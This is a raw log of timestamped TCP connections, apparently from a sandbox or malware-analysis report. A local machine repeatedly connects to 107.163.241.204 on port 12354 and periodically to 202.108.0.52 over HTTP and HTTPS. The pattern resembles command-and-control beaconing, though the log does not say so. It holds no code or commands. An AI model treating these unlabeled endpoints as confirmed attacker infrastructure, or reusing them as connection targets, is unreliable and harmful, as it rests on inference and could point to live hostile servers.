Dec 11, 2024 16:23:58.254894972 CET	80	49784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:58.254988909 CET	49784	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:58.256078005 CET	80	49816	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:58.256663084 CET	49816	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:58.259171963 CET	12354	49814	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:58.322012901 CET	49815	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:23:58.323337078 CET	49816	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:58.441348076 CET	12354	49815	107.163.241.204	192.168.2.9
Dec 11, 2024 16:23:58.442611933 CET	80	49816	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:59.828609943 CET	80	49816	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:59.829135895 CET	49816	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:59.832251072 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:59.832294941 CET	443	49834	202.108.0.52	192.168.2.9
Dec 11, 2024 16:23:59.833693981 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:59.834116936 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:23:59.834130049 CET	443	49834	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:00.252990961 CET	12354	49814	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:00.253086090 CET	49814	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.253310919 CET	49814	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.253731966 CET	49840	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.375452995 CET	12354	49814	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:00.375473022 CET	12354	49840	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:00.375591040 CET	49840	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.375739098 CET	49840	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.382617950 CET	12354	49815	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:00.382672071 CET	49815	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.382839918 CET	49815	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.383322954 CET	49842	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.495198011 CET	12354	49840	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:00.502672911 CET	12354	49815	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:00.502691031 CET	12354	49842	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:00.502952099 CET	49842	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.503346920 CET	49842	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:00.624391079 CET	12354	49842	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:01.598064899 CET	443	49834	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:01.600923061 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:01.600958109 CET	443	49834	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:01.603611946 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:01.660958052 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:01.660988092 CET	443	49834	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:01.661297083 CET	443	49834	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:01.661499023 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:01.668934107 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:01.711482048 CET	443	49834	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:02.018251896 CET	49857	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.018923044 CET	49834	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:02.018923044 CET	49840	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.018923044 CET	49842	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.133486986 CET	49816	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:02.133800030 CET	49859	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:02.134396076 CET	49860	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.137757063 CET	12354	49857	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:02.137825012 CET	49857	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.138027906 CET	49857	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.256315947 CET	80	49859	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:02.256418943 CET	49859	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:02.256553888 CET	80	49816	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:02.256644964 CET	49816	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:02.257029057 CET	12354	49860	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:02.257096052 CET	49860	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.260860920 CET	12354	49857	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:02.292270899 CET	49859	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:02.292548895 CET	49860	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:02.412218094 CET	80	49859	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:02.412308931 CET	12354	49860	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:03.868853092 CET	80	49859	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:03.868947029 CET	49859	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:03.968430996 CET	49880	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:03.968538046 CET	443	49880	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:03.968628883 CET	49880	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:03.973344088 CET	49880	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:03.973372936 CET	443	49880	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:04.281475067 CET	12354	49857	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:04.284199953 CET	49857	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.284245014 CET	49857	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.284621954 CET	49884	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.404169083 CET	12354	49857	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:04.404972076 CET	12354	49884	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:04.405045033 CET	49884	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.405234098 CET	49884	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.422036886 CET	12354	49860	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:04.422135115 CET	49860	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.422374964 CET	49860	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.422744036 CET	49887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.524744987 CET	12354	49884	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:04.542123079 CET	12354	49860	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:04.542144060 CET	12354	49887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:04.542326927 CET	49887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.542387962 CET	49887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:04.661856890 CET	12354	49887	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:06.030333996 CET	49880	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:06.030355930 CET	49884	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.030510902 CET	49887	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.031174898 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.151541948 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:06.151685953 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.152331114 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.154839993 CET	49905	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.223303080 CET	49859	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:06.223567963 CET	49906	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:06.272222996 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:06.274435043 CET	12354	49905	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:06.274558067 CET	49905	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.274705887 CET	49905	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:06.345020056 CET	80	49906	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:06.345165968 CET	49906	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:06.345328093 CET	80	49859	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:06.345331907 CET	49906	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:06.345401049 CET	49859	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:06.399502039 CET	12354	49905	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:06.466212988 CET	80	49906	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:08.003690958 CET	80	49906	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:08.003778934 CET	49906	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:08.006830931 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:08.006897926 CET	443	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:08.006968975 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:08.007222891 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:08.007239103 CET	443	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:08.265186071 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:08.265325069 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.265666962 CET	49903	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.266506910 CET	49929	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.385307074 CET	12354	49903	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:08.385993004 CET	12354	49929	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:08.386075974 CET	49929	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.387660980 CET	49929	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.390336990 CET	12354	49905	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:08.390410900 CET	49905	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.390492916 CET	49905	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.391467094 CET	49932	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.507049084 CET	12354	49929	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:08.509907961 CET	12354	49905	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:08.510909081 CET	12354	49932	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:08.511006117 CET	49932	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.515805960 CET	49932	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:08.635725021 CET	12354	49932	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:09.692140102 CET	443	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:09.692238092 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:09.692989111 CET	443	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:09.693041086 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:09.695991039 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:09.696006060 CET	443	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:09.696306944 CET	443	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:09.699378014 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:09.699760914 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:09.743330956 CET	443	49927	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:10.158858061 CET	49927	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:10.158881903 CET	49932	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.158901930 CET	49929	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.159956932 CET	49952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.270926952 CET	49906	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:10.271322966 CET	49954	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:10.271991014 CET	49955	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.279731989 CET	12354	49952	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:10.280953884 CET	49952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.281122923 CET	49952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.392920971 CET	80	49954	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:10.393393040 CET	80	49906	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:10.393428087 CET	12354	49955	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:10.393520117 CET	49906	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:10.393559933 CET	49954	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:10.393559933 CET	49955	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.395219088 CET	49954	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:10.395332098 CET	49955	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:10.403049946 CET	12354	49952	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:10.514823914 CET	80	49954	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:10.514839888 CET	12354	49955	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.056432962 CET	80	49954	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:12.056551933 CET	49954	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:12.058877945 CET	49975	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:12.058938980 CET	443	49975	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:12.059042931 CET	49975	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:12.059242010 CET	49975	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:12.059250116 CET	443	49975	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:12.390717983 CET	12354	49952	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.390865088 CET	49952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.390928030 CET	49952	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.391756058 CET	49979	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.510895967 CET	12354	49952	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.511128902 CET	12354	49979	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.511229038 CET	49979	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.511389971 CET	49979	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.624771118 CET	12354	49955	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.624896049 CET	49955	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.625026941 CET	49955	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.625545979 CET	49983	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.634639978 CET	12354	49979	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.744740963 CET	12354	49955	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.745023966 CET	12354	49983	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:12.745101929 CET	49983	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.745274067 CET	49983	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:12.864487886 CET	12354	49983	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:13.744360924 CET	443	49975	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:13.744518995 CET	49975	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:13.745038033 CET	49975	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:13.745052099 CET	443	49975	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:13.747045040 CET	49975	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:13.747056961 CET	443	49975	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:14.176673889 CET	49983	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.176738024 CET	49979	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.177059889 CET	49975	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:14.179086924 CET	50000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.288912058 CET	50002	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.300924063 CET	12354	50000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:14.301184893 CET	50000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.301184893 CET	50000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.339875937 CET	49954	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:14.340603113 CET	50003	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:14.416764975 CET	12354	50002	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:14.416862011 CET	50002	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.417965889 CET	50002	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:14.426685095 CET	12354	50000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:14.462896109 CET	80	50003	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:14.462913036 CET	80	49954	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:14.463041067 CET	49954	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:14.464888096 CET	50003	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:14.466578007 CET	50003	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:14.539480925 CET	12354	50002	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:14.587595940 CET	80	50003	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:16.057897091 CET	80	50003	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:16.057988882 CET	50003	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:16.060287952 CET	50022	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:16.060338974 CET	443	50022	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:16.060431004 CET	50022	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:16.060713053 CET	50022	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:16.060724020 CET	443	50022	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:16.422267914 CET	12354	50000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:16.422327995 CET	50000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.422946930 CET	50000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.423827887 CET	50028	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.545809984 CET	12354	50000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:16.546614885 CET	12354	50028	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:16.546721935 CET	50028	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.547029018 CET	50028	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.657459021 CET	12354	50002	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:16.657593012 CET	50002	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.657674074 CET	50002	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.658216000 CET	50032	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.667443037 CET	12354	50028	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:16.778007030 CET	12354	50002	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:16.778043985 CET	12354	50032	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:16.778187037 CET	50032	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.778321028 CET	50032	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:16.897953033 CET	12354	50032	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:17.752456903 CET	443	50022	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:17.752587080 CET	50022	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:17.762478113 CET	50022	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:17.762523890 CET	443	50022	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:17.764230013 CET	50022	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:17.764241934 CET	443	50022	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:18.190232992 CET	50028	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.190278053 CET	50032	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.190324068 CET	50022	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:18.191095114 CET	50048	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.301354885 CET	50050	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.314197063 CET	12354	50048	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:18.314354897 CET	50048	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.315104961 CET	50048	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.316607952 CET	50003	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:18.316845894 CET	50051	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:18.428916931 CET	12354	50050	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:18.429038048 CET	50050	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.442328930 CET	12354	50048	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:18.442789078 CET	80	50051	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:18.442800045 CET	80	50003	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:18.442897081 CET	50051	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:18.442930937 CET	50003	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:18.452539921 CET	50050	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:18.452672005 CET	50051	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:18.571835041 CET	12354	50050	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:18.572875977 CET	80	50051	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:20.017344952 CET	80	50051	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:20.017509937 CET	50051	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:20.019968987 CET	50072	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:20.020015001 CET	443	50072	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:20.020090103 CET	50072	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:20.020304918 CET	50072	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:20.020314932 CET	443	50072	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:20.459877968 CET	12354	50048	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:20.459980965 CET	50048	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.470808029 CET	50048	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.471128941 CET	50077	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.547117949 CET	12354	50050	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:20.547172070 CET	50050	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.547349930 CET	50050	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.583774090 CET	50080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.593839884 CET	12354	50048	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:20.593985081 CET	12354	50077	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:20.594058990 CET	50077	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.594185114 CET	50077	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.666687012 CET	12354	50050	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:20.703727007 CET	12354	50080	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:20.703850031 CET	50080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.703990936 CET	50080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:20.713655949 CET	12354	50077	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:20.823926926 CET	12354	50080	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:21.736713886 CET	443	50072	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:21.736835003 CET	50072	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:21.737276077 CET	50072	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:21.737298965 CET	443	50072	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:21.738941908 CET	50072	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:21.738965034 CET	443	50072	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:22.233335972 CET	50072	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:22.233432055 CET	50080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.233453035 CET	50077	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.236337900 CET	50100	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.350589991 CET	50102	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.350980997 CET	50051	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:22.351182938 CET	50103	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:22.356138945 CET	12354	50100	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:22.356225967 CET	50100	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.356342077 CET	50100	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.470391989 CET	12354	50102	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:22.470567942 CET	50102	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.470645905 CET	80	50103	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:22.470657110 CET	80	50051	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:22.470695972 CET	50103	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:22.470730066 CET	50051	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:22.471931934 CET	50102	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:22.472050905 CET	50103	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:22.476315975 CET	12354	50100	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:22.591667891 CET	12354	50102	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:22.591686010 CET	80	50103	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:24.055720091 CET	80	50103	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:24.055802107 CET	50103	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:24.066108942 CET	50122	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:24.066168070 CET	443	50122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:24.066237926 CET	50122	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:24.067965984 CET	50122	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:24.067987919 CET	443	50122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:24.482472897 CET	12354	50100	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:24.482620001 CET	50100	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.482641935 CET	50100	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.482999086 CET	50127	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.593990088 CET	12354	50102	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:24.594049931 CET	50102	12354	192.168.2.9	107.163.241.204
